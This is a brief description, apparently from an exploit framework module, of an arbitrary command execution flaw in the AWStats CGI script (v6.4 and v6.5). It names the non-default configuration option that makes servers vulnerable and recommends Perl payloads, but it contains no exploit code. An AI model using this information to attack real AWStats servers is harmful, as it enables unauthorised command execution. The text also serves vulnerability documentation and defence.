This module exploits an arbitrary command execution vulnerability in the
|
|
AWStats CGI script. AWStats v6.4 and v6.5 are vulnerable. Perl based
|
|
payloads are recommended with this module. The vulnerability is only
|
|
present when AllowToUpdateStatsFromBrowser is enabled in the AWstats
|
|
configuration file (non-default).
